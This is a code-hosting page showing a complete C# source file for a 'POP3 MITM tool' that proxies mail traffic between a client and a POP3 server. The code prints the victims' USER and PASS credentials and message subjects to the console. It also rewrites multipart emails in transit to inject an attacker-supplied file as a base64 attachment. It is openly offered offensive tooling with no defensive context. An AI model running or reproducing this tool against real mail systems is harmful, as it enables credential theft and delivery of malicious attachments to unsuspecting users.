-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathPOPFuckProxy.cs
164 lines (161 loc) · 6.48 KB
/
POPFuckProxy.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
using System;
using System.Text;
using System.Threading;
using System.IO;
using System.Net;
using System.Net.Sockets;
namespace Zcg.Tests
{
class PopFuckProxy
{
enum state
{
header,
replace
}
static string fn = "";
static string b64 = "";
static void Main(string[] args)
{
Console.WriteLine("POP3 MITM tool v0.1");
Console.WriteLine("Part of GMH's fuck Tools, Code By zcgonvh.\r\n");
try
{
if (args.Length > 4)
{
fn = args[4];
b64 = Convert.ToBase64String(File.ReadAllBytes(fn), Base64FormattingOptions.InsertLineBreaks);
fn=Path.GetFileName(fn);
}
TcpListener tl = new TcpListener(IPAddress.Parse(args[0]), int.Parse(args[1]));
tl.Start();
while (true)
{
NetworkStream nsc = tl.AcceptTcpClient().GetStream();
TcpClient tc = new TcpClient();
tc.Connect(args[2], int.Parse(args[3]));
NetworkStream nss = tc.GetStream();
new Thread(Read).Start(new object[] { nsc, nss });
new Thread(Write).Start(new object[] { nsc, nss });
}
}
catch (Exception ex)
{
if (ex is IndexOutOfRangeException || ex is FormatException)
{
Console.WriteLine("usage: PopFuckProxy <lhost> <lport> <rhost> <rport> [attachment]");
}
else
{
Console.WriteLine(ex);
}
}
}
static void Read(object o)
{
try
{
object[] obj = o as object[];
NetworkStream nsc = obj[0] as NetworkStream;
NetworkStream nss = obj[1] as NetworkStream;
StreamReader sr = new StreamReader(nsc);
StreamWriter sw = new StreamWriter(nss);
sw.AutoFlush = true;
string s = sr.ReadLine();
while (s != null)
{
if (s.StartsWith("USER"))
{
Console.WriteLine("[!] " + s);
}
else if (s.StartsWith("PASS"))
{
Console.WriteLine("[!] " + s);
}
sw.WriteLine(s);
s = sr.ReadLine();
}
}
catch { }
}
static void Write(object o)
{
try
{
object[] obj = o as object[];
NetworkStream nsc = obj[0] as NetworkStream;
NetworkStream nss = obj[1] as NetworkStream;
StreamWriter sw = new StreamWriter(nsc);
sw.AutoFlush = true;
StreamReader sr = new StreamReader(nss);
state stat = state.header;
string boundary = "";
string boundarye = "";
string s = sr.ReadLine();
while (s != null)
{
switch (stat)
{
case state.header:
{
if (boundarye != "" && s == "")
{
stat = state.replace;
}
else if (s.StartsWith("Content-Type") && s.IndexOf("multipart/") > 0)
{
if (s.IndexOf("multipart/alternative") > 0)
{
s = s.Replace("multipart/alternative", "multipart/relative");
}
if (s.IndexOf("boundary=") < 0)
{
sw.WriteLine(s);
s = sr.ReadLine();
}
var arr = s.Split(new string[] { "boundary=" }, 2, StringSplitOptions.RemoveEmptyEntries);
if (arr.Length == 2)
{
boundary = "--" + arr[1].Trim(' ', '\t', '\'', '"');
boundarye = boundary + "--";
stat = state.replace;
}
}
else if (s.StartsWith("Subject"))
{
Console.WriteLine("[+] " + s);
}
sw.WriteLine(s);
break;
}
case state.replace:
{
if (s == boundarye && fn != "")
{
sw.WriteLine(boundary);
sw.WriteLine("Content-Type: application/octet-stream;");
sw.WriteLine(" charset=\"utf-8\";");
sw.WriteLine(" name=\"" + System.Web.HttpUtility.UrlEncode(fn,Encoding.UTF8) + "\"");
sw.WriteLine("Content-Disposition: attachment; filename=\"" + System.Web.HttpUtility.UrlEncode(fn,Encoding.UTF8) + "\"");
sw.WriteLine("Content-Transfer-Encoding: base64");
sw.WriteLine();
sw.WriteLine(b64);
sw.WriteLine(boundarye);
stat = state.header;
boundarye = "";
Console.WriteLine("[!] Attachment added!");
}
else
{
sw.WriteLine(s);
}
break;
}
}
s = sr.ReadLine();
}
}
catch { }
}
}
}